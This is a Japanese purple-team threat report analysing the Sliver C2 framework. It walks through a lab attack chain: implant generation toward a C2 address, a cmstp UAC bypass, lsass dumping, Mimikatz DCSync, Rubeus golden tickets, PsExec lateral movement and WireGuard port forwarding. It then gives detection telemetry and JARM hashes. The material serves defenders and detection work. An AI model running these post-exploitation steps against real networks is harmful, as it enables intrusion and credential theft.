この攻撃フレームワークがCobalt Strikeに取って代わる前に知っておくべきこと

本脅威分析レポートは、「パープルチームシリーズ」と名付けられたシリーズの一部であり、広く利用されている攻撃手法や、脅威アクターがそれらの手法をいかに活用しているか、そしてそれらの手法をいかにして検知するかを紹介するものです。

はじめに

サイバーリーズンのGSOCとインシデント対応チームは、最近拡大しているC2フレームワークで、Bishop Foxというサイバーセキュリティ企業が構築した”Sliver”(以下、これを「Sliver C2」と呼ぶ)を分析しました。C2フレームワークまたはコマンド&コントロール(C&C)インフラストラクチャは、セキュリティ専門家(レッドチームやペンテスター)がセキュリティ評価を行う時に、ハッキングした端末をリモート制御するために利用されます。また、C2フレームワークは、同じ理由で脅威アクターによっても利用されます。

本レポートでは、Sliver C2フレームワークの仕組み、Sliver C2の利用を再現する方法、脅威アクターがSliver C2フレームワークをいかに悪用しているか、そして検知・防御メカニズムの実装方法について詳しく説明します。
パープルチームシリーズでは毎回、Cybereason GSOCが、さまざまな視点からトピックを取り上げます。本レポートには次のトピックが含まれています。

  • Sliver C2フレームワークについての説明
  • レッドチーム:Sliver C2の検証
  • ブルーチーム:Sliver C2の悪用につながった過去のBumbleBee感染事例の分析
  • パープルチーム:レッドチームとブルーチームの知識を利用して、検知および分析方法

下記の表に、特定されたSliver C2の機能と、それらに該当するMITRE ATT&CKフレームワークのセクションを示します。

Sliver C2の機能 MITRE戦術 MITRE手法
シェル 実行

コマンドおよびスクリプティングインタープリター:Windowsコマンドシェル
UACバイパス 権限昇格

昇格制御機構の悪用:ユーザーアカウント制御(UAC)をバイパス
Getsystem 権限昇格

アクセストークンの操作
Migrate 防御回避

プロセスインジェクション
PsExec 水平展開

システムサービス:サービスの実行
特定のネットワークポート コマンド&コントロール

非標準ポート
SOCKSの利用 コマンド&コントロール

プロキシ

重要なポイント

Cybereason GSOCチームは、Sliver C2の調査から次の重要なポイントを確認しました。

  • 新たなトレンド : Sliver C2は脅威アクターからますます支持されるようになり、しばしばCobalt Strikeに代わるものとして認識されるようになっています。
  • モジュール式のフレームワーク:拡張パッケージマネージャーのarmoryを使用して、BOFやGhostpackのような.NETツールなどの、さまざまなサードパーティツールを簡単にインストール(自動コンパイル)できます(Rubeus、Seatbelt、SharpUp、Certifyなどを含む)。
  • 既知の脅威アクターやマルウェアファミリーと関連付けられている:BumbleBeeローダーに感染した後、Sliver C2がロードされることがよくあります。APT29のような脅威アクターも、このフレームワークを活用することが知られています。
  • 独自のネットワークおよびシステムのシグネチャ: Sliver C2フレームワークは、Sliver C2固有の機能を実行する際に特定のシグネチャを作成するため、Sliver C2の検知が可能となります。インフラストラクチャサーバーの検知とフィンガープリントも存在しており、それらは本レポートで紹介します。

Sliver C2の説明と過去の使用例

Sliver C2とは何か
Sliver C2は、オープンソース版のクロスプラットフォーム型攻撃者エミュレーションおよびレッドチームのフレームワークです。Sliver C2は、スケーラビリティを持つように設計されているため、あらゆる規模の組織がセキュリティテストを実施するためにSliver C2を使用できます。
Sliver C2は、Cobalt StrikeやMetasploitに匹敵するものです。
Sliver C2が注目されている理由
Silver C2は、次のような理由から人気を博しています。

  • Cobalt StrikeやMetasploitの代わりとなるオープンソースのフレームワークであるため
  • Armoryによりプラットフォームのモジュール性を実現しているため
  • OS X、Linux、Windowsに対応していてクロスプラットフォームであるため

このフレームワークは、攻撃者のシミュレーションに必要となるすべてのコア機能を提供します。注目すべき機能としては、次のものが挙げられます。

  • 動的コード生成
  • コンパイル時の難読化
  • マルチプレイヤーモード
  • ステージド(段階型)ペイロードとステージレス(段階なし)ペイロード
  • mTLS、WireGuard、HTTP(S)、DNS経由のセキュアなC2
  • Windowsプロセスマイグレーション、プロセスインジェクション、ユーザートークン操作など
  • Let’s Encryptとの統合
  • インメモリ.NETアセンブリ実行
  • COFF/BOFインメモリローダ
  • TCP および名前付きパイプのピボット
  • Armory :エイリアスおよび拡張パッケージマネージャー

レッドチームのセクションでは、Sliver C2が実際の攻撃シナリオでどのように悪用されるかを分析します。

■Sliver C2を悪用する脅威アクター
Silver C2は、2020年のリリース以来ますます注目を集めています。現時点では、脅威インテリジェンスレポートの数はまだ少なく、主にロシアSVRによる利用が報告されています。
最近、Cybereason GSOCを含む複数の脅威研究チームは、BumbleBeeローダー感染後にSliver C2をドロップするケースを確認しました。

●SVR / APT29(2021)

脅威アクター マルウェアファミリー 日付 リンク
APT29 / SVR / Cozy Bear / the Duke N/A 2021年5月 NCSC

APT29と呼ばれる脅威アクターは、ロシアのシークレットサービスに関連付けられているグループであり、彼らはSliver C2を使用して侵入先のネットワーク上で永続化することが、さまざまな組織により報告されています。英国のNCSC(国家サイバーセキュリティセンター)が発行したレポートによれば、Sliver C2の利用は「既存のWellMessおよびWellMail被害者の多くへのアクセスを維持するための試みであった可能性が高い」とのことです。

このケースでは、SVRオペレーターは、それぞれのハッキングにおいて特定のSliver C2インフラストラクチャサーバーを使用していました。

●TA551 / Shathak(2021)

脅威アクター マルウェアファミリー 日付 リンク
TA551 / Shathak N/A 2021年10月 Proofpoint

ProofPoint社のセキュリティ研究者は、悪意あるマクロを含むMicrosoft Office文書が添付された電子メールを特定し、そのマクロが有効化されると、Sliver C2フレームワークが導入されることを突き止めました。TA551は、以前からUrsnif、IcedID、QBot/Qakbotなどのマルウェアファミリーの配布に関与している脅威アクターです。

このケースでは、初期感染後に、Sliver C2が直接ロードされました。これは、TA551が関与した以前のケース(Cobalt Strikeのようなフレームワークが初期感染に続いて2回目のC2通信時にロードされた)とは異なっています。このようにSliver C2を悪用することで脅威アクターは、より高い柔軟性を確保できるようになりました。

●Exotic Lily(2022)

脅威アクター マルウェアファミリー 日付 リンク
Exotic Lily BumbleBeeローダー 2022年 Cybereason

Cybereason GSOCチームは以前、C2フレームワークの導入につながるBumbleBeeローダーへの感染について報告したことがあります。最近、Cybereason GSOCチームは、典型的なBumbleBeeローダーの感染を観測しました。これは、LNK感染から始まり、最終的にSliver C2の導入につながるものであり、脅威アクターがネットワーク上で永続化することを目的としています。

本章では、脅威アクターが採用した攻撃経路を紹介します。
Cybereason GSOCは、次のようなタイムラインを作成しました。

アクティビティ 時間
BumbleBeeローダーによる初期アクセス T0
偵察/タスクリスト T0 + 2分
コマンド&コントロール/ Sliver C2 T0 + 11分
コマンド&コントロール/ Sliver C2のシェル機能 T0 + 41分
偵察/whoami T0 + 42分

このシナリオでは、攻撃の検知とユーザーの介入によって、ほぼ開始ともに抑止されました。

レッドチーム:Sliver C2フレームワークの検証

Sliver C2は第2段階のペイロードとして設計されており、同ペイロードが導入された後、脅威アクターはターゲットシステムへのフルアクセス権を取得し、攻撃チェーンの次なるステップを実行できるようになります。

■Sliver C2フレームワークのアーキテクチャ
Sliver C2は以下の4つの主要コンポーネントで構成されています。

  • サーバーコンソール:ファイルを実行すると開始されるメインインターフェイスです。サーバーコンソールは、クライアント コンソールのスーパーセットです。クライアント(オペレーター)管理に関連するサーバー固有のコマンド以外のコードはクライアント/サーバー コンソール間で共有されます。サーバーコンソールは、gRPCインターフェイスを介してサーバーと通信します。
  • Sliver C2サーバー:Sliver C2サーバーもsliver-server実行ファイルに含まれており、内部データベースの管理やネットワークリスナーの開始と停止を行います。gRPCインターフェイスはサーバーと対話するために使用される主なインターフェイスであり、同インターフェイスを使ってすべての機能が実装されています。
  • クライアントコンソール:クライアントコンソールは、Sliver C2 サーバーと対話するために使用される主要なユーザーインターフェイスです。
  • インプラント:インプラントとは、リモートアクセスしたいターゲットシステム上で実行される、悪意あるコードです。

下図は、各コンポーネント間の関係を表しています。Sliver C2サーバーを中心とした対話を通じて、攻撃者がリモート管理を行う様子が示されています。


▲Sliver C2の各種コンポーネントとそれらの間での対話(上記の説明を参照)

■Sliver C2の使い方
●インストール
フレームワークのベースインストールはbashスクリプト「curl https://sliver.sh/install | sudo bash」をダウンロードして実行するだけで容易にできます。
Cybereason GSOCはこのスクリプトを分析した結果、次のアクションが実行されることを突き止めました。

  • 次の依存関係(gpg、curl、build-essential、mingw-w64、binutils-mingw-w64、g++-mingw-w64)をインストールする(主にコンパイルに関連するもの)
  • リリースページから Sliver C2のバイナリをダウンロードし、整合性を確認する
  • Sliver C2がシステムサービス(デーモン)として実行されるようにsystemdサービスをインストールする
  • システム上の全ユーザーが接続し、並行して攻撃キャンペーンを実施できるように、クライアント設定を生成する
  • システムサービスとして実行されるSliverサーバーは、複数のオペレーターが接続できるようにする機能を提供します。

    Sliver C2インプラントは、次の2つの動作モードをサポートします。

  • ビーコンモード:ビーコンモードは、インプラントが定期的にサーバーにチェックインし、タスクを取得し、同タスクを実行し、結果を返すという非同期通信スタイルを実現します。
  • セッションモード:セッションモードでは、インプラントは、基盤となるC2プロトコルに応じて、持続的接続を使用するか、またはロングポーリングを使用して、インタラクティブなリアルタイムセッションを作成します。

●インプラント
Sliver C2インプラントはクロスプラットフォームであり、–osフラグを使用してコンパイラーのターゲットOSを変更できます。Sliver C2は、GolangのGOOSおよびGOARCHの環境変数を引数—osおよび–archとして指定することができます。
今回、Linux、Mac、Windows用のインプラントを次のコマンドで作成しました。

  • generate –mtls [C2 Public IP]:443 –os linux –arch amd64
  • generate –mtls [C2 Public IP]:443 –os mac –arch arm64
  • generate –mtls [C2 Public IP]:443 –os windows –arch amd64


▲各種プラットフォーム(OS/Arch)用のSliver C2インプラント

generate infoコマンドを使用すると、サポートされているすべてのコンパイル対象を一覧表示できます。

●リスナー
シェルを取得する前に、まずリスナーを開始する必要があります。下記のプロトコルがサポートされています。

  • mTLS:mTLS(Mutual Transport Layer Security)は、X.509デジタル証明書を使用してお互いを認証し合い、暗号化されたTLS接続を確立するプロセス
  • HTTP
  • HTTPS
  • DNS
  • Wireguard

リスナーはセッションおよびビーコンのコールバックをサポートしています。次のインプラントの例ではmTLSプロトコル用に生成しているため、mTLSリスナーを起動しました。


▲mTLSリスナーを起動し、現在のアクティブリスナーを表示

●セッション
ターゲットホストでインプラントが実行された後、セッションが開始されます。


▲現在のセッションを表示

セッションIDを引数とするuseコマンドにより、リモートターゲットとの対話型セッションを作成できます。


▲セッションとの対話

本校執筆時点で、Sliver C2の対話型セッションでは次のコマンドを実行できます。


▲セッションモードでサポートされているコマンド一覧

●Armory
armoryはSliver C2のエイリアスおよび拡張パッケージマネージャーであり、これを使うことでBOFや.NETツールなどさまざまなサードパーティツールを自動でインストールできます。ツールの一覧はGithubで公開されています。また、パッケージをバンドルでインストールすることも可能です。

■Sliver C2を使用して完全な攻撃経路を作成する
このセクションでは、Sliver C2が提供するさまざまな機能を、最初の感染からドメイン管理者権限への昇格、データの流出に至るまで、攻撃者にとって論理的な順序で調査します。ブルーチームのセクションでは、防御者の観点からこれらの機能を分析します。これは、パープルチームのセクションで紹介されている「検知ルール」を作成するのに役立ちます。

Sliver C2インプラントは、第2段階のペイロード(初期感染ステップでは利用されないもの)として使用されるように設計されています。これは、攻撃者が初期感染経路(フィッシング、ドライブバイダウンロード、パッチ未適用の脆弱性に対してエクスプロイトの使用など)を通じてターゲットシステムにアクセスした後に利用されます。この部分は本記事の対象外であるため、今回はターゲットシステム上で直接インプラントを実行しました。

ここでは、MITREの戦術フレームワークに従って攻撃シナリオを提示し、Sliver C2の各機能を攻撃チェーンの「リンク」として紹介しました。ターゲット組織は、次の3つの資産で構成されています。

  • ワークステーションネットワークゾーン内にあるワークステーション
  • DMZネットワークゾーン内にあるサーバー
  • サーバーネットワークゾーン内にあるドメインコントローラー


▲攻撃のさまざまな段階とSliver C2のコマンドと機能:実行、権限昇格、永続化、認証情報アクセス、探索、水平展開、収集、コマンド&コントロール、データ流出

■実行
Silver C2インプラントは、第2段階のペイロードとしてワークステーション上で実行され、その結果、ユーザーはSliver C2サーバーからシェルセッションを取得します。このセッションでは、コマンドやその他のスクリプトまたはバイナリを実行するために複数の方法を利用できます。

●レッドチーム:shellコマンド
Sliver C2セッションには、PowerShellコマンドプロンプトを起動するためのコマンドシェルが組み込まれています。しかし、これを使うと、ターゲットシステムに明らかなログを残し、検知される可能性が高まるため、悪しき慣習とされています。


▲Sliver C2を使ってPowershellプロンプトを取得

●レッドチーム:executeコマンド
ターゲット上でプログラムを実行する望ましい方法としては、実行した時の出力もキャプチャできるexecuteコマンドを使用することが挙げられます。


▲Sliver C2に内蔵のexecuteコマンドを利用

●RunAs
指定したユーザーのコンテキストで新しいプロセスを実行します(Windowsのみ)。


▲localAdminユーザー権限でipconfigコマンドを実行

■権限昇格
ユーザーは、ローカルグループ”administrators”に所属するアカウントを使用して、ワークステーション上のアクセス権限を取得します。しかし、プロセスのメモリダンプのような高い権限のアクションを実行できるようになるには、そのプロセスの権限を”NT Authority/System”に昇格させる必要があります。

●UACバイパス
UAC(ユーザーアカウント制御)のバイパスを行うための手法は複数あります。ここでは、それを実施するためにWindowsシステムのバイナリであるcmstp.exeを使用します。このエクスプロイトの詳細とソースコードは、こちらから入手できます。


▲「UACバイパス」エクスプロイトのソースファイル

続いて、被害者端末にファイルをアップロードした後、PowerShellスクリプトを実行して、UACバイパスを伴う新規セッションを開始します。


▲「UACバイパス」エクスプロイトの実行

●Getsystem
UACバイパスを実施後、内蔵のgetsystemコマンドを使用して、NT AUTHORITY\SYSTEMユーザーとして新しいSliver C2セッションを開始できるようになります。


▲内蔵のgetsystemコマンドを実行

新しく取得した権限を確認すると、確かに現在のユーザーが「NT AUTHORITY\SYSTEM」として表示されます。


▲getsystemコマンド後のセッションユーザー

■防御回避
このセクションでは、検知を回避するために使用されるSliver C2インプラントの機能について説明します。

●migrate
内蔵のmigrateコマンドを使用して、Sliver C2インプラントを別のリモートプロセス内に隠すことで、防御回避を図ります。


▲Sliver C2のmigrateコマンドを使用

●認証情報アクセス
取得した権限で、内蔵のprocdumpコマンドを使用して“lsass.exe”プロセスのメモリをダンプすることで、Sliver C2上で認証情報をオフラインで取得できます。


▲内蔵のprocdumpコマンドで lsass.exe のメモリをダンプ

Linux(Sliver C2サーバー)上のメモリダンプをオフラインで読み込むには、pypykatzを使用します。


▲Pypykatz によりlsass.exeのメモリダンプを読む込む(出力の抜粋)

これにより、ログインしているユーザー(STAGEZERO\alon)のパスワードを取得できるようになります。

■捜索
この段階では、Sliver C2を使用してActive Directoryに関する情報を取得すると共に、ピボット先となる新しい端末を捜索します。

●ネットワークスキャン
Sliver C2の対話型シェルを使用して、各種のPowerShellコマンドを実行します。下記のコマンドは、ネットワークをスキャンしてライブホストを捜索するものです。


▲Sliver C2のシェルを使ってネットワークスキャンを実施

ここでは、IPアドレスが10.0.2.10であるライブホストが、水平展開先になります。


▲10.0.2.10のホスト名を取得

STAGEZEROドメイン内の10.0.2.10のFQDNは”s1-confluence.stagezero.lab”です。

●Active Directoryの捜索
Active Directoryを捜索するには、Sliver C2に内蔵のexecuteコマンドを使って、各種のWindowsシステムバイナリを実行します。


▲netコマンドを使用してSTAGEZEROのドメイン管理者を捜索


▲nltestコマンドを使用してSTAGEZEROのドメインコントローラーを捜索

■水平展開
認証情報アクセスの段階で、STAGEZERO\alonユーザーの認証情報を取得しました。また、捜索ステージで、別のホストである”s1-confluence.stagezero.lab”を検出しました。これらの情報は、水平展開に使用されます。

●PsExec
Sliver C2に内蔵のpsexecコマンドを使用して、水平展開を実現します。


▲s1-confluenceサーバーへの水平展開を実施

この新しい端末で、同じアクション(lsass.exeプロセスメモリのプロセスダンプおよびpypykatzのオフライン起動)を実行することで、認証情報アクセスします。

これらの手順により、ユーザーstagezero_admにアクセスできるようになります。このユーザーは、Active Directoryの捜索を使って、ドメイン管理者アカウントであることが分かっています。


▲Stagezero_admアカウントの認証情報

ドメイン管理者の認証情報を使ってKerberosゴールデンチケットを偽造することで、ドメインに参加したすべてのシステムへのフルアクセスを得ることができます。Sliver C2のArmoryを使ってインストールしたRubeusを利用して、stagezero_admとして認証するためのKerberos TGTを取得します。


▲Rubeusを使ってstagezero_admアカウント用のTGTを取得

KerberosのTGTチケットを使用するか、またはpsexecコマンドを使ってオフラインのメモリダンプから取得した認証情報を使用して、ドメインコントローラー(DC-1)への水平展開を実施します。

Kerberosのゴールデンチケットを偽造するために、Sliver C2に内蔵のuploadコマンドを使ってMimikatzの最新版をDC-1端末にアップロードします。続いて、アーカイブを解凍してMimikatzのバイナリを実行します。


▲ターゲット端末上にMimikatzをアップロードして解凍する

Mimikatzのdcsyncコマンドを使用して、Kerberosチケットに署名するために使用されるkrbtgtアカウントのパスワードハッシュを取得します。

▲krbtgtアカウントのパスワードハッシュを取得

Kerberosのゴールデンチケットを入手するには、Sliver C2インプラント経由でRubeusを使用します。


▲Rubeusを使用してKerberosのゴールデンチケットを偽造

これによりドメイン管理者権限を取得できるようになります。これは、攻撃者が当該ドメインを完全にハッキングできるようになったことを意味します。

■収集と流出
このセクションでは、Sliver C2の機能を利用して、ターゲットの社内システムにアクセスします。

●Socksプロキシ
Sliver C2には、プロキシをオープンするためのSOCKS5コマンドが組み込まれています。このプロキシは、クライアント(Sliver C2インプラントが導入されたターゲット端末)に代わって、実際のサーバーにネットワークトラフィックをルーティングすることで、内部サーバーとの通信を容易にします。


▲Sliver C2によるSOCKS5プロキシのセットアップ

SOCKSプロキシを使用するようにナビゲータを設定した後、ハッキングされたドメインの内部リソースにアクセスできるようになります。


▲SOCKSプロキシを利用してs1-confluenceサーバーにアクセス

●Wireguard
Sliver C2は、被害者のネットワークにアクセスするためのもう1つの方法として、Wireguard VPNインプラントを提供します。


▲Sliver C2のWireguardリスナーをセットアップ

エンドポイントの設定を、Sliver C2サーバーのWireGuardリスナー(この例では40.88.146.221:999)に向けるように指定する必要があります。


▲実行中のSliver C2 Wireguardインプラント

内蔵の”wg-portfwd add -remote 10.0.1.10:3389″コマンドでポートフォワーディングを設定した後、被害者の内部リソースにアクセスできるようになります。


▲被害者の内部サーバー(DC-1)へのRDP接続

以前の段階で、Sliver C2を使用して、被害者の内部ネットワークへの複数のアクセス(HTTP、RDP)とドメイン管理者の認証情報を取得しました。今や、作成したトンネルやSliver C2インプラントを使って、被害者のシステムから機密データを流出させることが可能となりました。

ブルーチーム:Silver C2フレームワークの利用状況の分析

この章では、セキュリティアナリストの視点から、Sliver C2フレームワークを使った攻撃シミュレーションで収集したテレメトリを分析します。
本記事は、攻撃と同じ時系列に従っています。

■生成された攻撃の分析
ここでの「被害者」組織は、次のような3つの資産で構成されています。

  • ワークステーションネットワークゾーン内にあるワークステーション(スピアフィッシングを通じた攻撃者の侵入口となる)
  • DMZネットワークゾーン内にあるサーバー(ドキュメント作成に使用され Confluence サービスをホスティングしているもの)
  • サーバーネットワークゾーン内にあるドメインコントローラー

■実行とOSの捜索
攻撃者はまず、最初の被害者であるワークステーションで、Sliver C2ビーコンをnasty_roast.exeという名前で実行します。


▲Sliver C2インプラントの実行:”NASTY_ROAST.exe “という名前で実行される

nasty_roast.exeのプロセスをさらに分析することで、Sliver C2サーバーのものだと思われるTCPポート8888番へのネットワーク接続を発見しました。


▲Sliver C2へのネットワーク接続

検知の機会:特定のネットワークポート通信
続いて、攻撃者は、このビーコンからwhoami.exe /allを実行します。


▲whoami.exeがnasty_roast.exeから生成されたことを示すCybereasonのプロセスツリー

このコマンドは、悪意あるインプラントを実行したユーザーのコンテキストを表示します。

●ブルーチーム:コマンドの実行
攻撃者は、“net.exe”コマンドを使用して捜索を続けます。


▲net.exeコマンドを使用して、ローカル管理者グループとActive Directoryのドメイン管理者グループの内容を表示

■権限昇格
●ブルーチーム:UACバイパス
攻撃者が必要とする最初のステップは、NT\System権限を取得することです。この権限を取得するために、攻撃者はユーザーアカウント制御(UAC)を回避する必要があります。
今回のラボ環境において、攻撃者はC#ソースコード (.cs 拡張子を持つファイル)をコンパイルし、cmstp-uac-bypass.dll というファイルを生成します。


▲UACを回避するために設計されたDLLの編集とコンパイル

続いて、攻撃者は、生成されたDLLを利用するPowerShellスクリプトを、「powershell C:\Users\[..]\Documents\file\uac.ps1」というコマンドを使って実行します。


▲Sliver C2インプラントから生成されたPowershell.exeにより、cmstp.exeプロセスが作成される

この方法を使うことによって、攻撃者はcmstp.exeを利用して、当該端末上のUAC を回避できます。

生成されるコマンドは次の通りです。
● “c:\windows\system32\cmstp.exe” /au C:\windows\temp\y1zuhb4s.inf
DLLがpowershell.exeプロセス自体にロードされることを確認できます。


▲powershell.exeのロードされたモジュール

攻撃者がこのUACバイパスを実行した結果、“dllhost.exe”を親とする“nasty_roast.exe”プロセスが新たに作成されることが確認されました。


▲プロセス“nasty_roast.exe”が昇格した権限で実行される

プロセスの権限昇格の結果、属性が”Elevated child process privileges “になることが確認できます。次に、攻撃者はまた”whoami.exe /all”コマンドを実行します。しかし、このプロセスはまだNT\System権限ではなく、通常のユーザーアカウントで実行されています。

続いて、攻撃者はSliver C2コマンドである”GetSystem “を実行して、被害端末のシステム権限を獲得し、その結果としてspoolsv.exeプロセスへのインジェクションを実施します。


▲spoolsv.exe へのインジェクションをシステム権限で実施

結果として、NT\Systemユーザコンテキストで実行されるspoolsv.exeプロセスへのインジェクションの連鎖が確認されました。攻撃者は、spoolsv.exeへのインジェクションに続いて、その権限を確認するために、また”whoami /all”コマンドを実行します。

インジェクション関数は “CreateRemoteThread”としてマークされており、これはSliver C2インプラントがspoolsv.exe内にリモートスレッドを作成していることを示しています。

その後、Sliver C2のshellコマンドのユーザーが、ユニークな方法でpowershell.exeを生成したことが確認できます。


▲Sliver C2に固有の引数でpowershell.exeを実行

これはSliver C2固有のものであり、後述する検知に利用できます。

■認証情報アクセス
攻撃者は、フル権限を取得した後、端末上でのユーザーアカウントの収集に進みます。

●ブルーチーム:Execute-Assembly
攻撃者は、”Execute-Assembly”と呼ばれるSilver C2 の機能を利用して、ドメインコントローラーの LDAP サービスを照会します。


▲spoolsv.exeからnotepad.exe へのインジェクション:TCP ポート389番でドメインコントローラーに接続(LDAP)

分析によると、Sliver C2インプラントは、そのような機能を使用する場合、notepad.exeプロセスを作成した上で、それに対してインジェクションを行います。

■ブルーチーム:LSASSのダンプ
続いて、攻撃者は、被害者端末からユーザーの認証情報を窃取するために別の方法を試みます。攻撃者は、lsass.exeプロセスのメモリダンプを実行します。


▲MalOpの検知、およびプロセスツリー内にlsass.exeのメモリダンプに続く新規アイテムの生成

その後、攻撃者は、mimikatz.exeを利用して、ホストから入手したメモリダンプを解析します。


▲Mimikatz.exeの実行

この時点で、攻撃者は、被害者端末でアクティブに接続されているローカルユーザーおよびドメインユーザーのアカウントを所有しています。

■捜索
攻撃者は、次のpowershell.exeコマンドで、内部ネットワークをスキャンします。

  • powershell “5..15 | ForEach-Object {Get-WmiObject Win32_PingStatus -Filter Address=10.0.2.$_” and Timeout=200 and ResolveAddressNames=true and “StatusCode=0 | select ProtocolAddress*}”

その後、攻撃者はWindowsのシステムバイナリ(net.exeやnltest.exe)を使用して、Active Directoryの情報捜索コマンドを取得します。


▲Active Directoryの捜索

■水平展開
捜索と認証情報の窃取に続いて、攻撃者は、捜索された他の資産へと移動します。

●ワークステーションからDMZサーバーへの移動
攻撃者は、端末のシステム権限で、サーバー上にサービスをリモートで作成します。

  • まず、攻撃者はワークステーションからサーバー上のサービスをリモート起動します。これには分散型ネットワーク向けのMicrosoft RPC(Remote Procedure Call)テクノロジーに含まれるRCreateServiceW関数が使われます。

  • ▲このMSRPCは、alon-wksからs1-confluence.stagezero.labへのリモートサービスの作成を示している

  • 続いて、Sliver C2インプラントに対応する新しいプロセスが、s1-confluenceサーバー上のservices.exeから生成されるのが観測されました。

  • ▲“pentest2”サービスをリモートで作成・起動し、さらにランダムに生成されるプロセス (wehsbmf4im.exe) を実行

作成されたリモートサービスは、デフォルトで“Sliver”という名前になります。今回、攻撃者は、その名前を意図的に“pentest2”に変更しています。

●ブルーチーム:PsExecを使った水平展開
この動作は、Sliver C2のリモートコマンド “PsExec”が使用され、ランダムに生成された名前のインプラント実行ファイルが生成された結果として実施されます。この場合、ファイルパスはc:\windows\temp\wehsbmf4im.exeとなります。ワークステーション上の他のインプラントと同様に、このインプラントもTCPポート8888番でSliver C2サーバーインフラと通信します。

水平展開に続いて、攻撃者は再び”whoami /all”コマンドを使って自らのユーザー権限を確認します。

続いて、notepad.exeにまたインジェクションが行われます。これは、Sliver C2の「Execute-Assembly」機能の使用に関連するものです。また、攻撃者は“nltest /dclist”コマンドを実行して、次のターゲットと予想されるドメインコントローラーの名前を特定します。生成され、さらにインジェクトされたnotepad.exeプロセスには、Rubeusという名前のモジュールが含まれています。


▲notepad.exeにロードされたプロセス:Execute-Assemblyの使用が再度示されている

Rubeusは、Kerberosとの直接対話と悪用に使用されるC#プログラムです。今回は、ドメインコントローラーと対話するために使用されます。Rubeusの使用に加えて、攻撃者は、インプラントプロセスから直接、lsass.exeのメモリダンプを利用します。


▲プロセス wehsbmf4im.exe (サーバーにリモートで展開された Sliver C2 インプラント) 関連の疑い:lsass.exe のメモリダンプを示す。

Rubeusの利用は、窃取したアカウントをpass-the-ticket攻撃で再利用するためKerberosチケットが操作される可能性を示唆します。攻撃中にセッションが確立されたことは、攻撃者がドメイン管理権限を取得したことを示しています。


▲ドメイン管理者アカウントでログオンセッションを確立

●DMZサーバーからドメインコントローラーへの移動
攻撃者は、再びPsExecメソッドを使用し、ドメインコントローラー(dc-1)を制御しようと試みます。


▲ドメインコントローラー上にもう1つのリモートサービスが作成されたことを示す

この時点で、攻撃者は、当該環境のドメインコントローラーを制御しています。攻撃者は、ドメインコントローラー上で次のアクションを実施します。これらは、先ほどサーバーおよびワークステーション上で行ったのと同様のアクションです。

  • notepad.exe へのインジェクション(Execute-AssemblyメソッドによるSilver C2のarmory モジュールの使用を示す)
  • Execute-Assembly機能によるRubeusの使用。
  • Sliver C2のShellコマンドを使ったmimikatz.exeの起動
  • Kerberosチケットの生成と操作
  • 認証情報窃取のためのLSASSメモリダンプ


▲Kerberosチケットのファイル操作を示すファイルイベント

攻撃者は最後に、Mimikatzの“DCSync”機能を悪用してドメインコントローラーになりすますことで、認証情報データベースを窃取します。


▲このMSRPCは、ADの認証情報を盗むために悪用される可能性のあるドメインコントローラーのレプリケーションの使用を示している

■収集
攻撃者がデータ流出の準備を進めると、プロセスnecessary_eviction.exe(Sliver C2が生成したランダムな名前)の下で、もう1つのSliver C2インプラントを生成するなどの新たな振る舞いが検知されます。まず、攻撃者は、次のファイルイベントで示されているように、新しく生成されたインプラントをドロップします。


▲新しい実行ファイル(Sliver C2インプラント)のドロップを示すファイルイベント

続いて、攻撃者は、このドロップされたファイルを実行します。


▲ドメインコントローラー上で新しいインプラントが実行される

今回、攻撃者は、UDPポート999番(非デフォルトポート、デフォルトは51820番)を使ってSliver C2サーバーインフラに到達するようにインプラントを設定しました。


▲Sliver C2サーバーへのUDP接続

Sliver C2フレームワークに詳しいアナリストであれば、同フレームワークでUDPを使用する唯一のネットワークプロトコルは、WireGuardプロトコルであると、この段階で推測することでしょう。Sliver C2プロジェクトのwikiには、ポートフォワーディングの利用を明確化し、より高速で安定した内部ネットワークへのリモートアクセスを実現するためにWireGuardを使用すべきであると、記述されているページがあります。

  • https://github.com/BishopFox/sliver/wiki/Port-Forwarding

WireGuardインプラントの生成後、攻撃者は、DMZサーバー(s1-confluence)のRDPサービスに接続を開始します(下記の接続画面を参照)。


▲DMZサーバーの3389番ポート(RDP)でのTCP接続を示す接続画面

この接続は、Sliver C2のWireGuardポートフォワーディング機能を使って行われたものです。興味深いことに、最初のインプラントであるfnhoczptph.exeは、DMZサーバーs1-confluenceのConfluenceポートを標的とするプロキシアクティビティを行ったことを確認しています。


▲攻撃者が内部の Confluence サーバーからデータを流出させたことを示す

パープルチーム:Sliver C2の検知および

■ハンティング戦略
このセクションでは、Sliver C2フレームワークの利用を検知するためのツールや手法を紹介します。

●Sliver C2インフラストラクチャのハンティング
下記に紹介する手法を利用することで、Sliver C2インフラの一部である可能性が高い外部サーバーへの接続を行っている疑わしいプロセスを特定できます。このセクションでは、当社がこれまでに発見した手法をすべてリストアップします。

●TLS証明書とJARMハッシュ
JARMとは、アクティブなTLS(Transport Layer Security)サーバー用のフィンガープリントツールです。
このフィンガープリントツールを開発したSalesforce社が述べているように、JARMによるスキャンを実行すると、インターネット上の悪意あるサーバーを特定しグループ化できます。

Sliver C2はデフォルトで、Microsoftの脅威インテリジェンスチームによる記事に記載しているような典型的なSliver C2のTLS構成を生成することを、当社は確認しました。これはCobalt Strikeと同様の振る舞いです。C2サーバーのTLSサービス(mTLSビーコン通信モードで設定されているもの)のフィンガープリンティングを試みたところ、確かにこのハッシュを確認できました。


▲Sliver C2に対してSalesforceのJARMツールを起動

そのため、もし端末上のプロセスが不審な接続を行った場合、そのJARMハッシュを使って、当該端末がSliver C2サーバーであることを特定できることを意味します。下記の値を使用することで、それがSliver C2インフラであるかどうかを判断できます。

  • HTTPS:3fd21b20d00000021c43d21b21b43d41226dd5dfc615dd4a96265559485910
  • MTLS:00000000000000000043d43d00043de2a97eabb398317329f027c66e4c1b01

ただし、このJARMハッシュは、他の非Sliver C2サーバーと共有される可能性があるため、注意する必要があります。そのため、このチェックは、C2の疑いがある場合にのみ行うべきであり、それ以外の場合は行いません(TLSサーバーの大規模データセットからSliver C2を探す場合など)。

●検知ロジック
プロセスはSSL/TLSサービスのネットワーク接続し、そのJARMハッシュ値が3fd21b20d00000021c43d21b21b43d41226dd5dfc615dd4a96265559485910または00000000000000000043d43d00043de2a97eabb398317329f027c66e4c1b01である 

●Webサーバーのヘッダー(HTTP)
この検知ロジックは、ビーコン設定モードがHTTPSである場合のみ機能するものであり、mTLSの場合は機能しません。Sliver C2サーバーにHTTPSリスナーをセットアップした後、opensslコマンドを使って通信を試みます。


▲Openssl ツールを使用してSliver C2 のHTTPS リスナーに接続

証明書チェーンが特有のものであり、Sliver C2の特定に活用できることが確認できます(“CN = localhost”と組み合わせて米国の都市が指定されている)。

